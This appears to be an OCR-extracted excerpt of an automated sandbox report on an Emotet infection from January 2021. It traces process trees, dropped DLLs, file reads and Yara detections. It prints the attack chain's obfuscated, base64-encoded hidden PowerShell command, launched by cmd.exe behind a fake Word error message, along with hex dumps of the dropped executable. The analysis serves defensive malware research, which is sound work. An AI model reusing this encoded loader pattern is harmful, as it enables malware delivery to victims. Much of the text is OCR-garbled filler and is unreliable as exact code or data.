00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00
RRACHRH0 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

Completion

Source
Count Address

Symbol
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Key Path

Name

Type

00 00 00 00 00 00 00 00 00 00
20PD&R00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 FF FF FF
FF

00 00 00 00 00 00 00 00 00 00
R@RODH4H0 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 FF FF FF FF

Source
Completion Count Address Symbol

Analysis Process: cmd.exe PID: 2428 Parent PID: 1220

General

Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:

Copyright null 2021

17:00:42

13/01/2021
C:\Windows\System32\cmd.exe
false

cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file.
& PrOwer"she L L -w hidden -ENCOD IAAGAHMAZQBOACOAdgBh
AFIASQBhAGIATABIACAAIAA4AHKAZQAGACJAWWBOAFKACABFAFOAKAAIAHSA
MAB9AHSAMgB9IAHSANABIAHSAMWBIAHSAMQBIACIALQBGACCACWBZAHMAIABF
ACCALAANAHIAWQANACWAJWBNAC4AIWASACCARQBJAFQATWANACWAJWBJIAESA
LgBKAEKAUgANACKAIAAGACKAIAAgADSAIAAgGAFMAdgAGACAIgBWACIAKWAI
AGWAJAAIACKAIAAOACAAIABbAFQAeQBWAGUAXQAOACIAeWAOAHOAeWA2AHOA
ewA1AHOAewAxAHOAewAWAHOAewAzAHOAewA3AHOAewAyYAHOAIGAgGACOAZgAN
AEUAIWASACCAVYBIAGMAIWASACCADQBhAGAAY QBHAEUACgANACWAIWBWACCA AWWBJAEgAQQBYAFOAOQAYACKAKQA7ACQAWAA2ADAATQAIACIAIWBI QBKACCA QANACKAKWAOACCACgAN
ACsAJWBhAGIAYgANACKAKWAOACCAY QBKACCAKWANAC4AYWANACSAIJWBVACCA
KWANAGOALWB3AHAAIWAPACSAKAANACOAIWAIACCAY QBKACCAKQArACCABQAN
ACsAIJWBpACCAKWANAGAALWANACSAKAANAEWAbBWANACSAIJWALAGSARQANACKA
KWAOACCAY QAVACCAKWANAEAAXQBIACCAKQAIACCAMQBYACCAKWAOACCAWWBT
ADOALWANACSAIWAVACCAKQArACcAbgANACsAIWBNACCAKWAOACCACgBIACCA
KwWANAGgAIWAPACSAKAANAGEAYgAUACCAKWANAGIAaQBBACBAdwANACKAKWAO
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Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:
]AGKAY QBSACCAKQArACgAIWAUACCAKWANAGMAbwBIACCAKQAr
ACCALWBSACCAKWAOACCALWANACSAIWBMACBAIWAPACKALgAIAHIAZQBWAGWA
YABBAEMARQAIACgJAKAANAFOAIWArACCAZQAXACCAKWAOACCACGBbACCAKWAN
AFMAJWAPACKALAAOAFSAYQBYAHIAY QBSAFOAKAANAHMAZ AANACWAIWBZAHCA QBNAGUANABN
AGOAKQA7ACQARWA1ADUAVGAIACYAIWBLACCAKWAOACCANGANACSAIWAWAFMA
JWAPACKAOWBJIAGYAIAA0ACGAIgAOACCARWBIACCAKWANAHQAJWArACCALQBJ
AHQAZQBtACCAKQAGACQARYBhAGCAZQAOAGCAagAPACAAIgBMAGUAYABOAGAA
RWBUAEQAIgAgGACOAZWBIACAAMWA3ADKAOQAYACKAIAB7ACYAKAANAHIAIQBU
AGQAbAANACSAIWBSADMAMJANACKAIAAKAEYAY QBNAGUANABNAGOALAACACCA
QWANACSAIWBVAGAAIWArACcAdAANACSAKAANAHIAbwWBSAF8AJWArACcAUgAN
ACsAIWB1AG4ARABMAEWAJIWAPACKALGAIAHQATWBgAHMAJABSAEKAYABOAECA
1gA0ACKAOWAKAEEANWA4AFUAPQAOACCAUgANACSAKAANADCAIWAIACCAMQBQ
ACCAKQApPADsAYgBYAGUAYQBrADsAJABGADgANWBWADOAKAANAEKAIWATACGA
JWA3ACCAKWANADgAVJANACKAKQBIAHOAYWBhAHQAYWBOAHSATQBIACQATWAL
ADIATAASACgAIWBEADKAIWArACCAXWBRACCAKQA=

0x4a110000

345088 bytes
5746BD7E255DD6ABAFA06F7C42C1BA41L
true

true

C, C++ or other language

Reputation: moderate
Analysis Process: msg.exe PID: 2344 Parent PID: 2428
General
Start time: 17:00:43
Start date: 13/01/2021
Path: C:\Windows\System32\msg.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

msg user /v Word experienced an error trying to open the file.
0xff630000

26112 bytes

2214979661E779C3E3C33D4F14E6F3AC

true

true

C, C++ or other language

Reputation: moderate
Analysis Process: powershell.exe PID: 2500 Parent PID: 2428
General
Start time: 17:00:43
Start date: 13/01/2021
Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit):

Commandline:

Copyright null 2021

false

POwersheLL -w hidden -ENCOD IAAQAHMAZQBOACOAdgBhAFIASQBhAGIATAB
IACAAMAAAAHLAZOANACAAMAAMRNAELAFAREAENAK AAIAHe AMARQAHe AMARAAHe
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ANABIAHSAMWBIAHSAMQBIACIALQBGACCAcWBZAHMAJABFACCALAANAHIAWQA
NACWAJWBNAC4AIWASACCARQBJAFQATWANACWAIWBJIAEBALGBKAEKAUgANACK
AIAAgACKAIAAGADSAIAAGAFMAdgAgACYAIgBWACIAKWAIAGWAdAAIACKAIAA
0ACAAIABbAFQAeQBWAGUAXQAOACIAeWAOAHOAeWA2AHOAeWALAHOAeWAXAHO
AewAwAHOAewAzAHOAewA3AHOAewAyAHOAIGAGACOAZgANAEUAIWASACCAVgB
JAGMAJIWASACCABQBhAG4AY QBHAEUACgANACWAIWBWACCALAANAHMAeQBzAHQ AWWBJAEY
AQQBYAFOAOQAYACKAKQA7ACQAWAA2ADAATQA9ACIAIWBIADCAIWATACCAXWB
CACCAKQA7ACAAIAAOACAAIABWAGEAUYBPAGEAYgBSAEUAIAACACIAUAAIACS
AlgBMAHQAIgAPACAAIAAPAC4AdgBBAGWAVQBFADOAOJAIAFMAZ QBjAFUACgB QBKACCAKWANAGOAaQBUACS
AIWAPACSAKAANAFYARQANACSAIWASAGgAMAANACKAKWANAGoAagANACSAKAA
NACBAJWArACCAQABIACCAKQAIrACgAIWBIADEAIJWATrACCACBbAFMAIWAPACS
AKAANADOAIWAFrACCALWAVACCAKQArACgAIWBZAGEAaAANACSAIWBSAGEALQB
hACcAKWANAGQALgANACsAIJWBJAGBAbQAVAHCAIJWAIACCACAAtAGMAbwBUACC
AKWANAHQAJIWAPACSAIWBIAGAAIWArACgAIWBOACCAKWANACBAY QAVACCAKQA
rACcAQAANACSAIWBAAGUAIWArACgAIJWAXAHIAWWANACSAIJWBTADOAJWAPACS
AIWAVACCAKWANACBABQANACSAKAANAHKAIWAIACCACABOACCAKQAIACCAYQA
nNACsAJWBtACcAKWAOACcAagANACSAIWBhAHAAIWAPACSAKAANAGEAJWAIrACC
AbgAUACCAKQArACgAIWBJAGBAbQAVACCAKWANAGQAJQANACSAIWBWACOAaQB
UACCAKQArACCcACWANACSAIWBOACCAKWANAGEAJWArACgAIWBSAGWAZQANACS
AJWBYACBAZ AANACKAKWAOACCAYgANACSAIWAVAEAAXQBIACCAKQArACGAIWA
XAHIAWWBTAHMAOgANACSAIWAVACCAKWANACBAIJWAPACSAIWBIACCAKWANAGE
AIWArACgAIWBUACCAKWANAGQAY QANACKAKWAOACCACGANACSAIWBhAGIAYgA
NACKAKWAOACCAY QBKACCAKWANACAAYWANACSAIWBVACCAKWANAGOALWB3AHA
AIWAPACSAKAANACOAIWArACCAY QBKACCAKQArACcAbQANACSAIJWBpACCAKWA
NAG4ALWANACSAKAANAEWAbWANACSAIJWALAGSARQANACKAKWAOACCAYQAVACC
AKWANAEAAXQBIACCAKQArACCAMQBYACCAKWAOACCAWWBTADOALWANACSAIWA
VACCcAKQArACcAbgAnACsAIJWBNACCAKWAOACCACYBIACCAKWANAGGAIWAPACS
AKAANAGEAY gAUACCAKWANAGIAaQB6ACBAdWANACKAKWAOACCACAAIAGKAIWA gBgACCAKWANAGU
AYWBOACCAKQAJAFMAeQBTAHQAZQBtAC4ATYBIAFQALgBXAGUAQYBDAGWAaQB
IAG4AdAAPACAAIgBEAGAABWBXAE4ADABVAGAAQQBEAGYASQBYAGWAZQAIACY
AJABIAGgAbgAZAGCACAAWACWAIAAKAEYAY QBNAGUANABNAGOAKQA7ACQARWA
1ADUAVgA9ACgAIWBLACCAKWAOACCANGANACSAIWAWAFMAIWAPACKAOWBIAGY
AIAAOACYAIgAOACCARWBIACCAKWANAHQAJIJWAIACCALQBIAHQAZQBIACCAKQA
gACQARgBhAGCAZQAOAGCcAagApACAAIgBMAGUAYABOAGAARWBUAEQGAIgAGACO
AZWBIACAAMWA3ADKAOQAYACKAIAB7ACYAKAANAHIAdAQBUAGQABAANACSAIWB
SADMAMgANACKAIAAKAEYAY QBNAGUANABNAGOALAAOACCAQWANACSAIWBVAGA
AIWArACCAdAANACSAKAANAHIAbWBSAF8AIJWAIACCAUGANACSAIWBIAGAARAB
MAEWAJWAPACKALGAIAHQATWBgAHMAJABSAEKAYABOAECAIgAOACKAOWAKAEE

ANLGAAATIIARAAAACAR In AR ANAAIAAAANAA T Av AP AARIADAANAA/AAAANAAN/ ~
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Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

File Created

File Path
C:\Users\user\Jxk4jr_

C:\Users\user\Jxk4jr_\Dhuljgz

C:\Users\user\Jxk4jr_\Dhuljgz\D71J.dll

Old File Path

File Written

File Path

Copyright null 2021

AINWASAFUAF WYAUALLAUYATTAUSANAATIALLAJIWAT AULAIVIYDIALLARNYAPALUSA T YD
YAGUAYQBrADsAJABGADgANwWBWADOAKAANAEKAIJWArACgAIWA3ACCAKWANADg
AVgANACKAKQB9AHOAYWBhAHQAYWB0OAHSAfQBIACQATWA4ADIATAA9ACGAIWB

EADKAJWArACcAXWBRACCAKQA=

0x13f670000
473600 bytes

852D67A27E454BD389FA7F02A8CBE23F

true

true

Net C# or VB.NET

e Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools,
Source:
00000005.00000002.2100074595.00000000001F6000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools,
Source:
00000005.00000002.2100293104.0000000001CB6000.00000004.00000001.sdmp,
Author: Florian Roth

high
Source
Access Attributes Options Completion Count Address Symbol
read data or list device directory file |  success or wait 7FEEBAABECT? CreateDirectoryW

directory |
synchronize

read data or list device
directory |
synchronize

read attributes | device
synchronize |
generic write

New File Path

Length Value

synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |  success or wait
synchronous io

non alert | open

for backup ident

| open reparse

point

synchronous io  success or wait
non alert | non

directory file |

open no recall

7FEEBAABECT? CreateDirectory\W

7FEESAABEC7 CreateFileW

Source
Completion Count Address Symbol
Source
Ascii Completion Count Address Symbol
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File Path Offset

C:\Users\user\Jxk4jr_\Dhuljgz\D71J.dll unknown 4096

C:\Users\user\Jxk4jr_\Dhuljgz\D71J.dll unknown 8666

File Read

File Path

C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml

Copyright null 2021

Length Value

Ascii

4d 529000 030000 MZ....................

00 04 00 00 00 ff ff
00 00 b8 00 00 00 00 .

.1..L.IThis program

00 00 00 40 00 00 00 cannot be run in DOS
00 00 00 00 00 00 00 mode....

00 000000000000 $...

00 00 00 00 00 00 00 .

00 00 00 00000000 ...

00 00 00 00 1001 00 .
00 Oe 1f ba Oe 00 b4
09 cd 21 b8 01 4c cd
21546869 73 20 70
72 6f 67 72 61 6d 20
63 61 6e 6e 6f 74 20
62 65 20 72 75 6e 20
69 6e 20 44 4f 53 20
6d 6f 64 65 2e 0d 0d
0a 24 00 00 00 00 00
00 00 f1 f3 83 42 b5
92ed11b592ed 11
b592 ed 11 al f9 ee
10be 92 ed 11 al1f9
e8103d92ed 11al
f9e9 10 a7 92 ed 11
4d e2 €9 10 ba 92 ed
11 4d e2 ee 10 a4 92
ed 11 4d e2 e8 10 94
92 ed 1l alf9ec10
b2 92 ed 11 b5 92 ec
113992 ed 1102 e3
€810 b6 92 ed 11 02
e3ed10hb4 92 ed 11
02e3 1211 b4 92 ed
11 b592 7a 11 b4 92
ed 11 02 e3 ef 10 b4
92 ed 11 52 69 63 68
b5 92 ed

fgffffep288bc6cl ...

€8 10 50 0f b7 c6 50

ff 751053 €8 35 8 ff .....U...E.M..#...P.+..
Weodooo U QVWi...........
PV.u.2..EP.N.Q%....7
AU
.U..QSVW.}.E.
..EP.C..P...C..c.G

ffeb 138b c6 cl e8
10 50 0f b7 ¢6 50 ff
75 10 53 e8 cb f9 ff ff
83 ¢4 10 8b 4d fc 5f
5e 33 cd 5b e8 ad 1b

0000c9c2100055 ...

8b ec 8b 45 Oc 8b 4d
08 83 00 23 8b 01 8b
50 fc 2b c2 83 c0 fc
838 1f 77 04 89 11
5d c3 e9 bf c6 00 00
55 8b ec 51 56 57 6a
10 8b f9 e8 ed f3 ff ff
8b f0 8d 45 fc 50 56
89 75 fc e8 32 f4 ff ff
8d 45 fc 50 8d 4e 04
51 e8 25 f4 ff ff 83 c4
14 89 37 5f 5e 9 c3
55 8b ec 83 ec Oc 8d
4d f4 e8 Oa f5 ff ff 68
7c ac 04 10 8d 45 f4
50 e8 56 2f 00 00 cc
55 8b ec 51 53 56 57
8b 7d 08 8d 45 08 8b
d9 50 8b 77 04 ff 73
04 89 75 fc e8 0 f3 ff
ff 8d 45 fc 50 8b 43
04 83 c0 04 50 e8 €0
f3 ff ff 8b 43 04 83 c4
10 83 63 04 00 89 47
04 89 06 5f 5e 5b c9
€2 04 0056 8b f1 ff
36

i
P.P.US...M_"3][...

ol Poc PULS,

..M....h

N..V..6

|....E.P.VI.
.Pw.s..u..

Offset Length
unknown 4095
unknown 6304
unknown 4095
unknown 4096
unknown 781

Completion

success or wait

success or wait

Completion

success or wait
success or wait
success or wait
success or wait

end of file

Count Address

10

19

Count Address

1

Source
Symbol

7TFEESAABEC7 WriteFile

7TFEESAABEC7 WriteFile

Source

Symbol
7FEE8915208 unknown
7FEE8915208 unknown
7FEE8A3A287 ReadFile
7FEE8SAABEC7 ReadFile
7FEE8SAABEC7 ReadFile

Page 41 of 48



Source

File Path Offset Length Completion Count Address Symbol
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 4096 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml unknown 4096 success or wait 42 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml unknown 4096 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 4096 success or wait 7 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 542 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 4096 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 success or wait 6 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 78 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 success or wait 7 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 310 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 success or wait 18 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 50 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 success or wait 7 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 success or wait 63 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 201 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 success or wait 22 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 409 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 success or wait 4 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 844 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 success or wait 5 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 360 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 end of file 1 7FEEBAABEC7 ReadFile
C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1. unknown 4096 success or wait 1 7FEEBA069DF unknown
0.0.0__31bf3856ad364e35\System.Management.Automation.dll
C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1. unknown 512 success or wait 1 7FEEBA069DF unknown
0.0.0__31bf3856ad364e35\System.Management.Automation.dll
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4096 success or wait 1 7FEEBAABEC7 ReadFile
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4096 end of file 1 7FEEBAABEC7 ReadFile
Registry Activities
Source
Key Path Completion Count Address Symbol
Source
Key Path Name Type Data Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2340 Parent PID: 2500
General
Start time: 17:00:46
Start date: 13/01/2021
Path: C:\Windows\System32\rundll32.exe
Wow64 process (32bit): false
Commandline: ‘C:\Windows\system32\rundlI32.exe' C:\Users\user\dxk4jr_\Dhuljgz\D71J.dIl Control_RunDLL
Imagebase: 0xfffb0000
File size: 45568 bytes
MDS5 hash: DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: moderate

File Activities
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File Read

File Path

C:\Users\user\Jxk4jr_\Dhuljgz\D71J.dll
C:\Users\user\Jxk4jr_\Dhuljgz\D71J.dll

Source
Offset Length Completion Count Address Symbol
unknown 64 success or wait 1 FFFB27D0 ReadFile
unknown 264 success or wait 1 FFFB281C ReadFile

Analysis Process: rundll32.exe PID: 2756 Parent PID: 2340

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

17:00:47

13/01/2021
C:\Windows\SysWOW64\rundll32.exe

true

‘C:\Windows\system32\rundlI32.exe' C:\Users\user\dxk4jr_\Dhuljgz\D71J.dIl Control_RunDLL
0xa10000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000007.00000002.2102745256.00000000001D1000.00000020.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000007.00000002.2102620149.00000000001B0000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate
File Activities
Source
File Path Attributes Options Completion Count Address Symbol
Source
Old File Path Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2748 Parent PID: 2756
General
Start time: 17:00:47
Start date: 13/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

Copyright null 2021

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Moldomml\fjtiec.rgj',Contro
|_RunDLL

0xa10000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000008.00000002.2104069951.0000000000160000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000008.00000002.2104134560.0000000000211000.00000020.00000001.sdmp,
Author: Joe Security

moderate
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File Activities

Source
File Path Access Attributes Options Completion Count Address Symbol
Source
Old File Path New File Path Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2836 Parent PID: 2748

General

Start time: 17:00:48

Start date: 13/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Hvgnocqonseaz\zd

vhyvhbysxx.hcy',Control_RunDLL

Imagebase: 0xal10000

File size: 44544 bytes

MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000009.00000002.2106181826.0000000000201000.00000020.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:

00000009.00000002.2106105474.00000000001E0000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate

File Activities

Source
File Path Access Attributes Options Completion Count Address Symbol
Source
Old File Path New File Path Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2868 Parent PID: 2836

General

Start time: 17:00:49

Start date: 13/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

